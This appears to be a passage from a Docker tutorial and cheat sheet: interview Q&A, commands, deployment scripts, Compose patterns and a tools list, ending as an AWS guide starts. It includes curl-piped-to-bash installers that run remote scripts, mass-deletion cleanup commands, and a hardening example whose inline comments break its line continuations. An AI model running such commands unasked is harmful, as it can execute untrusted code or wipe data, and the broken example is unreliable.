docker inspect myapp | jq .

# Specific fields
docker inspect myapp | jq '.[0].Config.Env'        # Environment variables
docker inspect myapp | jq '.[0].Mounts'             # Volume mounts
docker inspect myapp | jq '.[0].HostConfig'         # Host config (ports, limits)
docker inspect myapp | jq '.[0].NetworkSettings'    # Network information

# Image inspection
docker inspect myimage:tag | jq '.[0].Config.Cmd'
docker inspect myimage:tag | jq '.[0].Config.Entrypoint'

Note: Do not include debugging tools in production images — they increase image size and expand the attack surface. Instead, maintain a separate debug image built from your production image plus debugging tools.

Quick Diagnosis Reference

Problem Symptom	First Command	Common Fix
Container not running	`docker ps -a`	Check exit code, check logs
App not responding	`docker logs myapp`	Look for errors in startup output
Containers cannot communicate	`docker network inspect`	Add both to the same user-defined network
Data not persisting	`docker inspect` (Mounts section)	Add a volume mount
High memory usage	`docker stats`	Add `--memory` limit
Slow builds	`docker build --no-cache`	Fix Dockerfile layer order
Port not accessible	`docker port myapp`	Add `-p` flag, check binding
Container keeps restarting	`docker logs myapp --tail 20`	Fix application error, check exit code

Common Docker Interview Questions

The following 15 questions cover the most important Docker topics you will encounter in engineering interviews. Each includes a concise answer, a detailed explanation, and common pitfalls to avoid.

Q1. What is the difference between a Docker image and a container?

A Docker image is an immutable, read-only template made of layered filesystems containing everything needed to run an application. A container is a running instance of that image — it adds a thin writable layer on top. Multiple containers can run from the same image simultaneously.

Key point: Image = blueprint (immutable). Container = running instance (has a writable layer).
Red flag: Saying "image and container are the same thing" immediately signals a foundational misunderstanding.

Q2. How does Docker image layer caching work?

Docker caches each instruction's result as a layer. On rebuild, if an instruction and its inputs are unchanged, Docker reuses the cached layer and skips re-execution. Once any layer is invalidated, all subsequent layers are rebuilt. This is why Dockerfile instruction order matters — place rarely-changing instructions (install dependencies) before frequently-changing ones (copy source code).

# Good - npm install only re-runs when package.json changes
COPY package*.json ./
RUN npm ci
COPY . .   # source changes only invalidate this layer and below

Red flag: Not structuring Dockerfiles to exploit layer caching. A 3-minute npm install running on every CI build is an immediate code review concern.

Q3. What are multi-stage builds and why use them?

Multi-stage builds use multiple FROM statements in one Dockerfile. You compile/build in a full environment, then COPY --from=stage only the compiled artifacts into a minimal runtime image. This keeps build tools out of the final image, dramatically reducing size and attack surface.

FROM golang:1.21 AS builder
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 go build -o server .

FROM scratch AS runtime
COPY --from=builder /app/server /server
CMD ["/server"]
# Result: ~10 MB image vs ~800 MB with full Go toolchain

Red flag: Not knowing that you can have more than two stages, or that you can target specific stages with docker build --target=stagename.

Q4. What is the difference between CMD and ENTRYPOINT?

ENTRYPOINT sets the fixed executable that always runs. CMD provides default arguments that can be overridden at runtime. Together: ENTRYPOINT is "what to run" and CMD is "with what default arguments." CMD alone is fully overridable by passing arguments to docker run.

ENTRYPOINT ["python", "app.py"]   # always runs python app.py
CMD ["--port", "8080"]             # default arg, overridable

# docker run myapp                  → python app.py --port 8080
# docker run myapp --port 9090      → python app.py --port 9090

Red flag: Using shell form for CMD/ENTRYPOINT (CMD node server.js). Shell form runs your command via /bin/sh -c, meaning the shell is PID 1 — not your application. SIGTERM is not forwarded, breaking graceful shutdown.

Q5. What is the difference between volumes and bind mounts?

Bind mounts link a specific host path into the container — you control the location. Named volumes are managed by Docker, stored at /var/lib/docker/volumes/. Named volumes are preferred in production for persistent data (databases). Bind mounts are preferred in development for live code reloading.

Type	Storage	Best For
Named Volume	Docker-managed	DB data, persistent app data
Bind Mount	Specific host path	Development hot reload, config files
tmpfs	Host RAM (never on disk)	Secrets, temporary cache

Red flag: Using bind mounts in production — they create host-container coupling and can expose host files if misconfigured.

Q6. Explain Docker networking — bridge, host, and overlay.

bridge (default): Isolated virtual network on the host. Containers communicate via container names on user-defined bridge networks (with automatic DNS). Requires -p to expose ports to the host.
host: Container shares the host's network stack directly. No NAT overhead, but no network isolation. Only works on Linux.
overlay: Spans multiple Docker hosts using VXLAN tunneling. Required for Docker Swarm multi-host communication.

The default bridge network does not provide automatic DNS — containers must use IPs. User-defined bridge networks resolve container names via Docker's embedded DNS at 127.0.0.11.

Red flag: Using the default bridge network in production. Default bridge has no DNS and all containers on it can communicate with each other — no isolation.

Q7. What are Dockerfile best practices?

Key best practices:

Use minimal base images (alpine, distroless)
Use multi-stage builds for compiled languages and build-step frameworks
Exploit layer caching — copy dependency manifests before source code
Use .dockerignore to exclude node_modules, .git, .env
Run as a non-root user (USER node)
Use exec form for CMD and ENTRYPOINT (["node", "server.js"])
Combine RUN commands to minimize layers, clean up in the same instruction
Add HEALTHCHECK for production images
Pin base image versions — avoid :latest
Never pass secrets via ARG or ENV

Q8. What does depends_on do in Docker Compose — does it guarantee the service is ready?

depends_on controls startup order — it ensures the dependent container starts before the dependent service. By default it only waits for the container to start (service_started), not for the application inside to be ready.

To actually wait for a service to be ready, combine depends_on with condition: service_healthy and a proper healthcheck:

api:
  depends_on:
    postgres:
      condition: service_healthy   # waits for healthcheck to pass

postgres:
  image: postgres:15
  healthcheck:
    test: ["CMD-SHELL", "pg_isready -U postgres"]
    interval: 5s
    retries: 5

Red flag: Using depends_on without condition: service_healthy and then being surprised when the application crashes on startup because the database was not ready.

Q9. How do you secure a Docker container in production?

A hardened container uses multiple layers of defense:

docker run \
  --user 1000:1000 \              # non-root user
  --cap-drop=ALL \                # drop all capabilities
  --cap-add=NET_BIND_SERVICE \    # add only what is needed
  --read-only \                   # read-only root filesystem
  --tmpfs /tmp:size=50m \         # writable RAM-backed temp
  --no-new-privileges \           # prevent privilege escalation
  --security-opt seccomp=/etc/docker/seccomp.json \
  myapp

Checklist: non-root USER, no --privileged, --read-only filesystem, drop all capabilities, minimal base image, no docker.sock mount, scan with Trivy, use BuildKit secret mounts (never ARG/ENV for secrets).

Q10. What is the difference between docker stop and docker kill?

docker stop sends SIGTERM to allow graceful shutdown, waits 10 seconds (configurable), then sends SIGKILL. docker kill immediately sends SIGKILL without waiting.

Graceful shutdown matters: SIGTERM lets applications finish active requests, close database connections, and flush logs. Applications should handle SIGTERM explicitly. Always use docker stop in production scripts — docker kill can cause data corruption if the app is mid-write.

Q11. What is BuildKit and what advantages does it provide?

BuildKit is Docker's next-generation build engine (default since Docker 23.0). Key advantages over the classic builder:

Parallel stage execution in multi-stage builds
Improved layer caching (including registry-based cache)
Secret mounts (RUN --mount=type=secret) — secrets are never stored in any layer
SSH agent forwarding for private repositories
Multi-platform builds with buildx
Significantly faster build times

# BuildKit secret mount (secret is never baked into image)
RUN --mount=type=secret,id=npmrc \
    cp /run/secrets/npmrc ~/.npmrc && \
    npm install && \
    rm ~/.npmrc

docker build --secret id=npmrc,src=$HOME/.npmrc .

Red flag: Not knowing BuildKit secret mounts exist, and instead passing secrets via ARG or ENV, which appear in docker history.

Q12. How do you implement zero-downtime deployments with Docker?

Use blue-green or rolling update strategies. The key principle: start the new container and verify it is healthy before stopping the old one — never the reverse.

# Blue-green pattern
# 1. Start new (green) container
docker run -d --name myapp-green --network app myapp:new

# 2. Health check green
docker exec myapp-green curl -sf http://localhost:3000/health

# 3. Switch traffic (update nginx upstream, then reload)
# nginx -s reload

# 4. Stop old (blue)
docker stop myapp-blue && docker rm myapp-blue

In Kubernetes, use rolling updates with maxUnavailable: 0 and maxSurge: 1 combined with readiness probes.

Q13. How do you handle secrets in Docker?

Never store secrets in ARG, ENV, or files copied into an image. The correct approaches are:

Build-time secrets: Use BuildKit --mount=type=secret — the secret is available during the build RUN instruction but is never stored in any image layer.
Runtime secrets: Inject via environment variables at docker run time (values are not in the image), Docker Compose secrets (mounted as files at /run/secrets/), or external secret managers (AWS Secrets Manager, HashiCorp Vault).

Verify: docker history myimage and docker inspect myimage should never reveal secret values.

Q14. What is the difference between docker exec and docker attach?

docker exec starts a new process inside a running container — it is safe for debugging. docker attach connects your terminal to the container's existing PID 1 process. If you press Ctrl+C while attached, you send SIGINT to PID 1 and stop the container.

Always use docker exec -it mycontainer /bin/sh for debugging. Use docker attach only when you specifically need to interact with PID 1, and detach with Ctrl+P, Ctrl+Q.

Q15. How do you optimize Docker builds in CI/CD for speed?

Five key techniques:

Registry-based layer caching — reuse layers from previous builds with --cache-from
Dockerfile layer order — dependency installation before source code copy
BuildKit inline cache — export cache to registry with --cache-to type=registry,mode=max
Multi-stage parallelism — BuildKit builds independent stages in parallel
GitHub Actions/GitLab cache — use type=gha cache for persistent caching between runs

# GitHub Actions example
- uses: docker/build-push-action@v5
  with:
    cache-from: type=gha
    cache-to: type=gha,mode=max

A well-optimized pipeline can reduce build times from 10 minutes to under 2 minutes.

Prepping for interviews? See Docker Interview Questions.

Complete Docker Cheat Sheet

Container Commands

Command	Description
`docker run -d -p 8080:80 --name app nginx`	Run detached with port mapping and name
`docker run -it --rm ubuntu bash`	Interactive shell, auto-remove on exit
`docker run -e ENV=prod --env-file .env app`	With environment variables
`docker run -v vol:/data --memory=512m app`	With volume and memory limit
`docker ps`	List running containers
`docker ps -a`	List ALL containers
`docker ps --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}"`	Custom format output
`docker stop myapp`	Graceful stop (SIGTERM then SIGKILL)
`docker kill myapp`	Immediate kill (SIGKILL)
`docker rm myapp`	Remove stopped container
`docker rm -f myapp`	Force remove running container
`docker logs -f --tail 100 myapp`	Follow last 100 log lines
`docker exec -it myapp bash`	Enter container shell
`docker exec myapp cat /app/config.json`	Run command in container
`docker cp myapp:/app/file.txt ./`	Copy file from container
`docker cp ./file.txt myapp:/app/`	Copy file to container
`docker stats --no-stream`	Snapshot resource usage
`docker top myapp`	Show processes in container
`docker inspect myapp`	Full container JSON information
`docker inspect --format '{{.NetworkSettings.IPAddress}}' myapp`	Get container IP
`docker update --restart=always --memory=1g myapp`	Update running container settings
`docker rename myapp newname`	Rename container
`docker pause myapp`	Freeze container
`docker unpause myapp`	Unfreeze container
`docker container prune`	Remove all stopped containers
`docker events --filter type=container`	Live container events

Image Commands

Command	Description
`docker pull nginx:1.25-alpine`	Pull specific tag
`docker pull ubuntu@sha256:abc123`	Pull by digest (immutable)
`docker images`	List local images
`docker build -t myapp:v1.0 .`	Build from Dockerfile in current directory
`docker build -f Dockerfile.prod -t myapp:prod .`	Use specific Dockerfile
`docker build --no-cache -t myapp .`	Force fresh build
`docker build --build-arg NODE_ENV=prod -t myapp .`	With build argument
`docker build --target production -t myapp .`	Build specific stage
`docker tag myapp:latest registry/myapp:v1.0`	Tag for registry
`docker push registry/myapp:v1.0`	Push to registry
`docker rmi myapp:latest`	Remove image
`docker history myapp`	Show image layers
`docker history --no-trunc myapp`	Full layer commands
`docker inspect myapp`	Image JSON details
`docker save -o myapp.tar myapp:latest`	Export to tar archive
`docker load -i myapp.tar`	Import from tar archive
`docker image prune`	Remove dangling images
`docker image prune -a`	Remove all unused images
`docker system df`	Disk usage summary
`docker system prune -af --volumes`	Full cleanup of all unused resources

Network Commands

Command	Description
`docker network ls`	List networks
`docker network create mynet`	Create bridge network
`docker network create --internal secure`	Internal network (no internet access)
`docker network inspect mynet`	Network details
`docker network connect mynet mycontainer`	Connect running container to network
`docker network disconnect mynet mycontainer`	Disconnect container from network
`docker network rm mynet`	Remove network
`docker network prune`	Remove unused networks
`docker run --network mynet myapp`	Run in specific network
`docker run --network host myapp`	Use host network
`docker run --network none myapp`	No networking
`docker run -p 8080:80 myapp`	Publish port
`docker run -p 127.0.0.1:8080:80 myapp`	Bind to localhost only
`docker port myapp`	Show port mappings

Volume Commands

Command	Description
`docker volume create mydata`	Create named volume
`docker volume ls`	List volumes
`docker volume inspect mydata`	Volume details
`docker volume rm mydata`	Remove volume
`docker volume prune`	Remove unused volumes
`docker run -v mydata:/app/data myapp`	Mount named volume
`docker run -v $(pwd):/app myapp`	Bind mount current directory
`docker run -v /app/node_modules myapp`	Anonymous volume
`docker run --mount type=volume,source=mydata,target=/data myapp`	Mount syntax
`docker run --mount type=bind,source=$(pwd),target=/app myapp`	Bind mount syntax
`docker run --mount type=tmpfs,target=/tmp myapp`	tmpfs mount
`docker run -v /host/path:/container/path:ro myapp`	Read-only mount

Docker Compose Commands

Command	Description
`docker compose up -d`	Start all services detached
`docker compose up -d --build`	Rebuild and start
`docker compose up -d --scale api=3`	Start with 3 api replicas
`docker compose down`	Stop and remove containers and networks
`docker compose down -v`	Also remove volumes (destructive — use with care)
`docker compose ps`	List services
`docker compose logs -f api`	Follow api logs
`docker compose exec api bash`	Shell into running service
`docker compose run --rm api npm test`	One-off command in new container
`docker compose build --no-cache`	Force rebuild
`docker compose pull`	Pull latest images
`docker compose config`	Validate and show resolved configuration
`docker compose restart api`	Restart specific service
`docker compose --profile dev up -d`	Start with profile
`docker compose -f base.yml -f prod.yml up -d`	Multiple compose files

Dockerfile Quick Reference

Instruction	Syntax	Purpose
`FROM`	`FROM node:18-alpine AS builder`	Base image
`LABEL`	`LABEL version="1.0" maintainer="x@y.com"`	Metadata
`RUN`	`RUN apt-get update && apt-get install -y curl`	Execute during build
`CMD`	`CMD ["node", "server.js"]`	Default command (overridable)
`ENTRYPOINT`	`ENTRYPOINT ["npm", "start"]`	Fixed executable
`COPY`	`COPY --chown=node:node . /app`	Copy files from build context
`ADD`	`ADD archive.tar.gz /app/`	Copy and auto-extract archives
`WORKDIR`	`WORKDIR /app`	Set working directory
`ENV`	`ENV NODE_ENV=production PORT=3000`	Runtime environment variable
`ARG`	`ARG NODE_VERSION=18`	Build-time variable only
`EXPOSE`	`EXPOSE 3000`	Document port (does not publish)
`VOLUME`	`VOLUME /app/data`	Declare mount point
`USER`	`USER node`	Switch to non-root user
`HEALTHCHECK`	`HEALTHCHECK --interval=30s CMD curl -f http://localhost/health`	Health monitoring
`STOPSIGNAL`	`STOPSIGNAL SIGQUIT`	Override stop signal

Power One-Liners

One-liner	Purpose
`docker system prune -af --volumes`	Complete cleanup
`docker stop $(docker ps -q)`	Stop all running containers
`docker rm $(docker ps -aq)`	Remove all containers
`docker rmi $(docker images -q)`	Remove all images
`docker rm $(docker ps -aq -f status=exited)`	Remove only exited containers
`docker inspect --format '{{.NetworkSettings.IPAddress}}' myapp`	Get container IP
`docker inspect --format '{{.State.ExitCode}}' myapp`	Get exit code
`docker logs myapp 2>&1 \	grep -i error`
`docker logs --since 1h --tail 100 myapp`	Recent logs
`docker events --filter 'event=die'`	Watch for container deaths
`docker images --format "{{.Size}}\t{{.Repository}}:{{.Tag}}" \	sort -h`
`docker run --rm -v $(pwd):/app node:18-alpine npm install`	Run npm install via Docker
`docker exec myapp env`	List container environment variables
`docker diff myapp`	Show filesystem changes in container

Production Workflows

Real-world Docker workflows used daily in production environments.

Daily DevOps Docker Checklist

# ===== Morning Health Check =====
docker ps                                    # Are all containers running?
docker stats --no-stream                     # Is resource usage normal?
docker logs myapp --since 8h | grep -iE 'error|fatal|panic'  # Overnight errors?
df -h /var/lib/docker                        # Is disk space OK?

# ===== Deployment Workflow =====
# 1. Build
VERSION=$(git describe --tags --always)
docker build -t myapp:$VERSION .

# 2. Test
docker run --rm myapp:$VERSION npm test

# 3. Tag and push
docker tag myapp:$VERSION registry/myapp:$VERSION
docker push registry/myapp:$VERSION

# 4. Deploy (rolling update on server)
docker pull registry/myapp:$VERSION
docker stop myapp-old || true
docker rename myapp myapp-old || true
docker run -d \
  --name myapp \
  --restart unless-stopped \
  -p 80:3000 \
  registry/myapp:$VERSION

# 5. Verify
sleep 5 && docker ps | grep myapp
curl -f http://localhost:80/health

# 6. Clean up old container
docker rm myapp-old

Rollback Workflow

PREV_VERSION="v1.2.2"
docker pull registry/myapp:$PREV_VERSION
docker stop myapp && docker rm myapp
docker run -d --name myapp registry/myapp:$PREV_VERSION

Caution: Never run docker rmi on the last known-good image until the new deployment has been stable for at least 30 minutes. Tag the last working image as :stable or :prev to enable instant rollback.

Monthly Maintenance

# Clean up unused resources older than 30 days
docker system prune -a --filter "until=720h"
docker volume prune -f

# Update base images and rebuild with latest security patches
docker pull node:18-alpine
docker build --no-cache .

Zero-Downtime Deployment Pattern

#!/bin/bash
# zero-downtime-deploy.sh
set -e

NEW_IMAGE="registry/myapp:$1"
CONTAINER_NAME="myapp"
BLUE="${CONTAINER_NAME}-blue"
GREEN="${CONTAINER_NAME}-green"

echo "Pulling new image..."
docker pull $NEW_IMAGE

# Determine which container is active
if docker ps | grep -q $BLUE; then
  ACTIVE=$BLUE; INACTIVE=$GREEN
else
  ACTIVE=$GREEN; INACTIVE=$BLUE
fi

echo "Starting $INACTIVE..."
docker run -d --name $INACTIVE --network app $NEW_IMAGE

# Health check loop
for i in {1..30}; do
  if docker exec $INACTIVE curl -sf http://localhost:3000/health; then
    echo "Health check passed!"
    break
  fi
  sleep 2
done

# Switch traffic (update nginx/load balancer upstream here)
echo "Switching traffic to $INACTIVE..."

# Stop old container
docker stop $ACTIVE && docker rm $ACTIVE
echo "Deployment complete! Active: $INACTIVE"

Incident Response Commands

# Container crashed — investigate
docker logs myapp --tail 200
docker inspect myapp | jq '.[0].State'  # Check exit code, OOMKilled flag
docker events --since 1h

# High CPU or Memory
docker stats --no-stream
docker exec myapp top

# Network issues
docker exec myapp curl -v http://db:5432
docker network inspect myapp_default

Docker Compose Patterns

Battle-tested Compose patterns used in real production environments.

Pattern 1: Base + Override (Development vs Production)

The most common pattern — one base file with environment-specific overrides.

# docker-compose.yml (base — committed to git)
services:
  api:
    image: ${REGISTRY:-myapp}/api:${TAG:-latest}
    ports: ["3000:3000"]
    networks: [app]
  db:
    image: postgres:15-alpine
    environment:
      POSTGRES_DB: myapp
      POSTGRES_USER: user
      POSTGRES_PASSWORD: ${DB_PASSWORD}
    volumes: [pgdata:/var/lib/postgresql/data]
    networks: [app]
  redis:
    image: redis:7-alpine
    networks: [app]

volumes:
  pgdata:

networks:
  app:

# docker-compose.override.yml (development overrides — add to .gitignore)
# Auto-loaded when you run: docker compose up
services:
  api:
    build: .                          # Build locally instead of pulling
    volumes:
      - .:/app                        # Live code reload
      - /app/node_modules             # Preserve installed node_modules
    environment:
      DEBUG: "true"
      NODE_ENV: development
      DATABASE_URL: postgres://user:pass@db:5432/myapp
    command: npm run dev              # Use dev server with hot reload
  # Development-only extras
  mailhog:
    image: mailhog/mailhog
    ports: ["8025:8025"]             # Fake email server for testing
  redis-ui:
    image: rediscommander/redis-commander
    ports: ["8081:8081"]
    profiles: [debug]                 # Only starts with --profile debug

# docker-compose.prod.yml (production overrides)
services:
  api:
    restart: unless-stopped
    deploy:
      resources:
        limits:
          cpus: "1.0"
          memory: 512M
        reservations:
          cpus: "0.25"
          memory: 256M
    logging:
      driver: json-file
      options:
        max-size: "10m"
        max-file: "3"
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:3000/health"]
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 40s
  nginx:
    image: nginx:1.25-alpine
    ports: ["80:80", "443:443"]
    volumes:
      - ./nginx/prod.conf:/etc/nginx/conf.d/default.conf:ro
      - ./ssl:/etc/ssl:ro
    networks: [app]
    restart: unless-stopped

# Development (auto-loads override file)
docker compose up -d

# Production
docker compose -f docker-compose.yml -f docker-compose.prod.yml up -d

# Validate the merged configuration
docker compose -f docker-compose.yml -f docker-compose.prod.yml config

Pattern 2: Microservices with Profiles

services:
  # Core services (always start)
  gateway:
    image: myapp/gateway:latest
    ports: ["80:80"]
    networks: [app]

  auth-service:
    image: myapp/auth:latest
    networks: [app]

  # Optional services — start only with a profile
  monitoring:
    image: prom/prometheus
    profiles: [monitoring]
    volumes: [./prometheus.yml:/etc/prometheus/prometheus.yml]
    ports: ["9090:9090"]
    networks: [app]

  grafana:
    image: grafana/grafana
    profiles: [monitoring]
    ports: ["3001:3000"]
    networks: [app]

  # Integration test dependencies
  test-db:
    image: postgres:15-alpine
    profiles: [testing]
    environment:
      POSTGRES_DB: testdb
      POSTGRES_PASSWORD: testpass

networks:
  app:

# Start core services only
docker compose up -d

# Start with monitoring stack
docker compose --profile monitoring up -d

# Start with testing dependencies
docker compose --profile testing up -d

# Start everything
docker compose --profile monitoring --profile testing up -d

Pattern 3: Dependency Management with Health Checks

services:
  db:
    image: postgres:15-alpine
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U user -d myapp"]
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 30s

  redis:
    image: redis:7-alpine
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 10s
      retries: 3

  api:
    build: .
    depends_on:
      db:
        condition: service_healthy    # Wait for db health check to pass
      redis:
        condition: service_healthy    # Wait for redis health check to pass
    environment:
      DATABASE_URL: postgres://user:pass@db:5432/myapp
      REDIS_URL: redis://redis:6379

Note: Plain depends_on only waits for the container to start — not for the service inside to be ready. Always combine with condition: service_healthy and a proper healthcheck block to avoid startup race conditions.

Docker Tools Ecosystem

Essential tools that every Docker practitioner should know.

Portainer — Web GUI

Web-based interface for managing Docker containers, images, networks, and volumes. Ideal for teams and for environments where a GUI is preferred.

docker volume create portainer_data
docker run -d \
  -p 9000:9000 \
  --name portainer \
  --restart always \
  -v /var/run/docker.sock:/var/run/docker.sock \
  -v portainer_data:/data \
  portainer/portainer-ce:latest
# Visit: http://localhost:9000

Lazydocker — Terminal UI

Terminal UI for Docker. View containers, logs, stats, and images interactively without typing commands.

curl https://raw.githubusercontent.com/jesseduffield/lazydocker/master/scripts/install_via_bash.sh | bash
lazydocker

dive — Image Layer Analyzer

Inspect Docker image layers interactively. Identify which files are added at each layer and find what is bloating image size.

# Ubuntu
sudo snap install dive
# macOS
brew install dive
# Analyze any image
dive myapp:latest

hadolint — Dockerfile Linter

Lint your Dockerfiles for best practice violations, security issues, and layer ordering problems.

# Run via Docker (no installation required)
docker run --rm -i hadolint/hadolint < Dockerfile

# Install locally on macOS
brew install hadolint

hadolint Dockerfile

Trivy — Security Scanner

Comprehensive vulnerability scanner for container images. Detects CVEs in OS packages, language dependencies, and misconfigurations.

curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh

# Scan image for HIGH and CRITICAL CVEs only
trivy image --severity HIGH,CRITICAL myapp:latest

# Fail CI on CRITICAL findings
trivy image --exit-code 1 --severity CRITICAL myapp:latest

# Scan a Dockerfile for misconfigurations
trivy config Dockerfile

Watchtower — Automatic Container Updates

Automatically updates running containers when new images are pushed to the registry. Recommended for development and staging environments only.

docker run -d \
  --name watchtower \
  -v /var/run/docker.sock:/var/run/docker.sock \
  containrrr/watchtower \
  --interval 86400   # Check daily

ctop — Container Resource Monitor

Real-time CPU, memory, network, and I/O metrics in a clean terminal interface — like htop for Docker.

# macOS
brew install ctop

# Any OS via Docker
docker run --rm -ti \
  --name ctop \
  -v /var/run/docker.sock:/var/run/docker.sock:ro \
  quay.io/vektorlab/ctop

Tools Comparison

Tool	Type	Best For	Free?
Portainer	Web GUI	Team management, beginners	Yes (CE)
Lazydocker	Terminal UI	Developers, quick inspection	Yes
dive	CLI	Image size optimization	Yes
hadolint	Linter	Dockerfile quality in CI	Yes
trivy	Security	CVE scanning, compliance	Yes
watchtower	Daemon	Auto-updates (dev/staging)	Yes
ctop	TUI	Real-time monitoring	Yes
Docker Desktop	GUI	Mac/Windows developers	Freemium
VS Code Extension	IDE	Development workflow	Yes

Tip: Recommended starter stack — install Lazydocker for daily use, dive to check image size before every push, and integrate hadolint and trivy into your CI/CD pipeline. These four tools will catch most common issues automatically.

Further Learning Resources

Top Learning Resources

Resource	Type	URL	Why It Is Valuable
Docker Official Docs	Documentation	`docs.docker.com`	Authoritative source, updated with every release
Play with Docker	Interactive Lab	`labs.play-with-docker.com`	Free browser-based Docker playground — no installation needed
TechWorld with Nana	YouTube	`youtube.com/@TechWorldwithNana`	Best free Docker course on YouTube, extremely clear explanations
Bret Fisher	YouTube / Course	`youtube.com/@BretFisher`	Deep DevOps focus, Docker Swarm, real-world production tips
KodeKloud	Course Platform	`kodekloud.com`	Hands-on browser labs, great for beginners, Kubernetes learning path
Docker Deep Dive (Nigel Poulton)	Book	Amazon / Leanpub	Best Docker book — concise, practical, updated regularly
awesome-docker	GitHub List	`github.com/veggiemonk/awesome-docker`	Curated list of Docker tools, tutorials, and resources
Docker Official Blog	Blog	`docker.com/blog`	Latest Docker updates, best practices, case studies
Ivan Velichko's Blog	Blog	`iximiuz.com`	Deep internals: containers, namespaces, cgroups explained with clarity

4-Week Practice Plan

Week 1: Install Docker, run official images (nginx, postgres, redis, ubuntu)
        → docker run, docker ps, docker logs, docker exec
        → Understand port mapping, volume mounting, environment variables

Week 2: Write Dockerfiles for your existing React/Node projects
        → .dockerignore, layer caching, multi-stage builds
        → Optimize: get below 200 MB for your application image

Week 3: Docker Compose — build a full MERN/PERN stack locally
        → depends_on, healthchecks, named volumes
        → Development vs production compose files, profiles

Week 4: Security, multi-stage builds, push to ECR, deploy to ECS/Fargate
        → Non-root USER, trivy scan, hadolint check
        → GitHub Actions pipeline: build → push → deploy

Certification Paths

Docker Certified Associate (DCA)
Official Docker certification covering installation, configuration, networking, security, and orchestration. A solid credential for validating foundational knowledge.
Format: 55 MCQ, 90 minutes | Cost: approximately $195 USD

CKA — Certified Kubernetes Administrator
The natural next step after mastering Docker. Kubernetes is Docker at scale, and your Docker knowledge maps directly to Kubernetes concepts.
Format: Hands-on practical exam, 2 hours | Cost: approximately $395 USD

AWS Solutions Architect
Includes deep coverage of ECS, Fargate, ECR, and EKS. Highly valued in the job market for senior DevOps and cloud engineering roles.
Format: 65 MCQ, 130 minutes | Cost: approximately $150 USD

What's Next? Your Docker Mastery Roadmap

You now have the knowledge — the next step is execution. Here is a precise 30-day plan to go from Docker learner to production-ready DevOps engineer.

30-Day Docker Mastery Plan

Days	Topic	Task / Goal
1–2	Installation and First Steps	Install Docker on Ubuntu, run hello-world, nginx, postgres — understand what each does
3–5	Container Commands	Practice all docker run flags, docker logs, exec, inspect, stats — build muscle memory
6–8	Images Deep Dive	Pull images, run docker history, inspect layers with dive, understand image size
9–12	Dockerfile Mastery	Write Dockerfiles for React, Node.js, and Python apps from scratch
13–15	Multi-Stage Builds	Optimize your apps: push image size from 1 GB down to 100 MB or less
16–18	Networking	Create custom networks, wire up MERN stack containers, test DNS resolution
19–21	Volumes and Persistence	Database persistence across restarts, dev bind mounts, tmpfs for secrets
22–25	Docker Compose	Full stack with Compose: health checks, depends_on, dev/prod override files, profiles
26–27	Security Hardening	Non-root USER, trivy scan (zero HIGH/CRITICAL), hadolint (zero warnings), secrets management
28–29	CI/CD Pipeline	GitHub Actions: auto-build on push → push to Docker Hub or ECR → deploy to server
30	AWS Deployment	Push to ECR, create ECS task definition, deploy to Fargate — live in production

Docker to Kubernetes Transition Map

Every Docker concept has a direct Kubernetes equivalent. Your Docker knowledge is your Kubernetes head start.

Docker Concept	Kubernetes Equivalent	Notes
`Container`	`Pod` (wraps one or more containers)	Pods are the smallest deployable unit in Kubernetes
`docker run`	`kubectl run` / Deployment	Deployments add replicas, rollouts, rollbacks
`docker-compose.yml`	Deployment + Service YAML	Compose maps to multiple Kubernetes manifest files
`Docker network`	Service + NetworkPolicy	Kubernetes Services provide stable DNS endpoints for pods
`Docker volume`	PersistentVolume (PV/PVC)	PVCs allow dynamic storage provisioning
`docker compose up`	`kubectl apply -f`	Declarative — Kubernetes reconciles desired state
`Docker Swarm service`	Deployment with replicas	Kubernetes has much more sophisticated scheduling
`HEALTHCHECK`	readinessProbe + livenessProbe	Kubernetes has separate readiness, liveness, and startup probes
`docker secret`	Kubernetes Secret	Kubernetes Secrets can be mounted as files or environment variables
`--env-file`	ConfigMap + Secret	ConfigMaps for non-sensitive config, Secrets for sensitive values

Need to plan resource requests for Kubernetes? Use the Kubernetes Resource Calculator.

Portfolio Projects for Senior DevOps Roles

Build these five projects to make your GitHub profile stand out to technical recruiters:

Dockerized MERN Stack — Full MERN (MongoDB, Express, React, Node) stack with Docker Compose. Proper health checks, named volumes, multi-stage build for React. Include a detailed README with an architecture diagram.
CI/CD Pipeline — GitHub Actions workflow that automatically builds an image on push to main, runs tests, pushes to ECR with a version tag, and deploys to ECS/Fargate. Include a rollback workflow.
Microservices Application — Three or more services (auth, products, orders) each in separate containers with an API gateway. Service discovery via Docker DNS, isolated databases, event-driven communication.
Security-Hardened Image — Dockerfile that passes a trivy scan with zero HIGH/CRITICAL CVEs, passes hadolint with zero warnings, runs as a non-root user, and uses multi-stage builds. Include scan reports in the README.
Monitoring Stack — Application with Prometheus, Grafana, and Alertmanager in Docker Compose. Custom dashboards showing container metrics, application metrics, and alerting rules.

Moving Forward

Completing this guide means you can confidently write production-grade Dockerfiles, deploy multi-container applications with Compose, use AWS ECR and ECS with Fargate, follow Docker security best practices, and tackle DevOps interviews with confidence.

Your Docker knowledge is the foundation for everything in modern DevOps. The concepts of containers, immutable images, service isolation, and declarative configuration carry directly into the Kubernetes ecosystem.

Note: Prefer a day-by-day path? This is covered in Mission 90 Days 22–30 — a free 90-day guided DevOps program with browser terminal missions.

Ready to orchestrate at scale? Continue with Kubernetes for DevOps.

AWS for DevOps Engineers: The Core Services You Actually Need

opscanopy — Sat, 15 Aug 2026 13:45:34 +0000

A focused, interview-ready guide built for a developer moving into DevOps. Depth on the services that actually show up in DevOps work and interviews — not all 200+ AWS offerings. This guide covers Regions and AZs, IAM, EC2, Lambda, containers, VPC networking, S3/EBS/EFS storage, RDS and DynamoDB, the AWS CLI, and cost and security guardrails. See the AWS roadmap for a structured learning path through certifications and deeper specialisations.

AWS Fundamentals

Before you touch a single EC2 instance, you need the mental map: where your stuff runs (Regions & AZs), who is responsible for what (Shared Responsibility), and how you pay for it (Billing & Free Tier). Get these three right and you avoid 90% of the surprises beginners hit.

Regions and Availability Zones

